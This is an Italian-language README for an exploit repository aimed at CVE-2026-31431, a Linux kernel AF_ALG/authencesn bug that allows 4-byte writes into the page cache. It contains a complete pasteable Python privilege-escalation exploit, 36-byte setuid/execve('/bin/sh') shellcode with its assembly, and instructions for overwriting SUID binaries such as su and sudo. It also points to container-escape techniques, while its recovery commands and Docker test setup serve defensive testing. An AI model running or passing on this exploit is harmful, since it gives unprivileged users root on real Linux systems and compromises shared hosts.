
CVE-2026-31431 Copy Fail — Exploit LPE universale. Offset ELF dinamico + sovrascrittura completa del binario, compatibile con Python 2/3 con fallback splice tramite ctypes
Scrittura arbitraria di 4 byte nella page cache del kernel Linux → Escalation dei privilegi locali
Molteplici approcci di exploit: sovrascrittura dinamica dell'entry point ELF, sostituzione completa del binario, compatibile con Python 3.x con fallback splice via ctypes.
CVE-2026-31431 è una vulnerabilità nel sottosistema crypto AF_ALG del kernel Linux. Abusando di splice() + decrittazione in-place di authencesn, un utente non privilegiato può scrivere 4 byte a un offset arbitrario nella page cache del kernel — la stessa cache usata per tutta la memoria mappata su file.
Questo significa:
Questo repository fornisce tre strumenti che usano la stessa primitiva copy-fall di AF_ALG:
Entry point dinamico — Analizza l'header ELF a runtime per calcolare l'offset del file dell'entry point (p_offset + (e_entry - p_vaddr)), quindi scrive uno stub di shellcode. Nessun offset hardcoded — un singolo script funziona su qualsiasi binario SUID x86_64 indipendentemente dalla distribuzione o versione.
Sostituzione completa del binario — Sovrascrive il target dall'offset 0 con un payload ELF completo pre-costruito (compresso con zlib e incorporato nello script). Può colpire binari non-SUID eseguiti da processi privilegiati (cron job, servizi systemd, kube-proxy). Funziona con Python 2.
Verifica vulnerabilità — Verifica se il sistema target dispone di AF_ALG, authencesn e algif_aead prima di eseguire un exploit.
exploit.py; Python 2 supportato tramite poc_compatible.py)/usr/bin/su, /usr/bin/sudo, ecc.)# Crea un container di test con un utente non privilegiato
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
Poi, all'interno del container come testuser:
# Prima: setuid(0) fallisce perché l'uid reale non è 0
/usr/local/bin/verify
# uid=1000 euid=0
# (esce normalmente, nessun root)
# Esegui l'exploit
python3 exploit.py /usr/local/bin/verify
# Dopo: entry point sovrascritto, lo shellcode ottiene root
# uid=0(root) gid=1000(testuser)
Negli scenari reali spesso hai solo una shell grezza — niente scp, niente curl, niente wget. Questo metodo usa l'heredoc di cat per scrivere l'exploit direttamente nel terminale:
# Opzione 1: esegui lo script shell
sh exploit-one-liner.sh /usr/local/bin/verify
# Opzione 2: incolla direttamente nel terminale (copia l'intero blocco)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
Perché è importante: Gli ambienti container spesso mancano di strumenti di trasferimento file (
scp,curl,wget). Il metodo heredoc richiede solocatepython3— disponibili ovunque.
Puoi sostituire /usr/local/bin/verify con qualsiasi binario SUID-root:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ Avvertenza: Colpire binari SUID di sistema (come
/usr/bin/su) influisce su tutti gli utenti del sistema. Il binario diventa inutilizzabile finché la page cache non viene cancellata. Sulla macchina host, qualsiasi utente che eseguesuotterrebbe una shell root.Su un sistema condiviso/produttivo, questo è immediatamente evidente —
suandrà in crash o genererà shell inaspettate per tutti. Usaverify.cper test sicuri.
L'exploit modifica solo la page cache (memoria), non il disco. Opzioni di recupero:
# Sull'host (dopo il test nel container):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# Verifica il recupero:
xxd -l 8 /usr/bin/su
# Dovrebbe mostrare: 7f45 4c46 (.ELF)
Nota: All'interno di un container predefinito (non privilegiato),
echo 3 > /proc/sys/vm/drop_cachesfallisce conRead-only file system— richiede accesso all'host o la distruzione del container.
L'algoritmo AEAD authencesn del kernel ha un bug nel suo percorso di decrittazione in-place:
AF_ALG con authencesn(hmac(sha256), cbc(aes))splice() per alimentare i dati del file nel socket crypto — questo mappa le pagine della page cache direttamente nello scatterlist del kernelauthencesn scrive 4 byte di seqno_lo dopo il tag di autenticazioneRisultato: scrittura arbitraria di 4 byte in qualsiasi file in page cache.
┌─────────────────────────────────────────────────────┐
│ Binario ELF (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELF Header │ e_entry = 0x4013f0 │
│ │ │ ← analizzato dinamicamente │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← offset file calcolato │
│ │ codice orig │ │
│ │ │ ─── copy fall scrive ───→ │
│ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
Quando il kernel carica il binario SUID, imposta euid=0, poi salta all'entry point.
L'entry point ora è il nostro shellcode → setuid(0) riesce → shell root.
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; terminatore nullo
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; filename
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36 byte, 9 scritture copy-fall (4 byte ciascuna).
I container Docker predefiniti non sono protetti da questo:
| Protezione | Stato |
|---|---|
| Seccomp | ✅ AF_ALG consentito di default |
| User namespaces | ❌ Non usati nel Docker predefinito |
| AppArmor/SELinux | ❌ Non limita AF_ALG |
| Rimozione capability | ❌ Nessuna capability speciale richiesta |
L'unica cosa che impedisce il container escape è l'isolamento della page cache per-mount di overlayfs. Ma una volta ottenuto root all'interno del container, si applicano le tecniche di escape standard (cgroup release_agent, docker.sock, token serviceaccount K8s, metadata cloud).
Ogni kernel Linux dalla conversione in-place di algif_aead (integrata ~2017), inclusi:
.
├── exploit.py # Sovrascrittura dinamica dell'entry point ELF (Python 3.x)
├── exploit-one-liner.sh # Versione incollabile (senza trasferimento file)
├── poc_compatible.py # Sovrascrittura completa del binario ELF dall'offset 0 (Python 2/3, di h4ppy7ree)
├── poc_ctypes.py # splice via ctypes per Python 3.0-3.9 (di h4ppy7ree)
├── check_cve.sh # Verifica vulnerabilità (di h4ppy7ree)
├── verify/
│ └── verify.c # Programma di verifica SUID per test
└── README.md # Questo file
AF_ALG (socket(AF_ALG, ...) → errno)af_algCONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0)Questo exploit è fornito solo per ricerca di sicurezza autorizzata e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Gli autori non si assumono alcuna responsabilità e non sono responsabili di qualsiasi uso improprio o danno causato da questo programma.
MIT
| Entry Point Dinamico | Sostituzione Completa del Binario | Verifica Vulnerabilità |
|---|
| File | exploit.py | poc_compatible.py | check_cve.sh |
| Strategia | Sovrascrive l'entry point ELF con shellcode | Sostituisce l'intero binario dall'offset 0 | Verifica se il target è vulnerabile |
| Target | Qualsiasi binario SUID x86_64 | Qualsiasi binario (SUID o meno) | N/D |
| Python | 3.x (tutte le versioni) | 2 / 3 | Bash |
| Payload | Shellcode da 36 byte | ELF completo compresso con zlib | N/D |
| Autore | Questo lavoro | h4ppy7ree | h4ppy7ree |
| Metodo | Dove | Comando |
|---|
| Cancella la page cache | Host (root) | echo 3 > /proc/sys/vm/drop_caches |
| Riavvio | Ovunque | reboot — la page cache è volatile |
| Container distrutto | Ovunque | docker rm — la page cache viene rilasciata con il container |
| Vettore | Funziona? | Dettagli |
|---|
| LPE (utente locale → root) | ✅ Sì | Sovrascrive l'entry point del binario SUID |
| Container escape (predefinito) | ❌ No | Isolamento della page cache per-mount di overlayfs |
| Container escape (scrittura host) | ✅ Sì | Scrittura tramite /proc/PID/root/ dall'host |
| Cross-container (scrittura host) | ✅ Sì | Stesso inode → page cache condivisa del layer inferiore |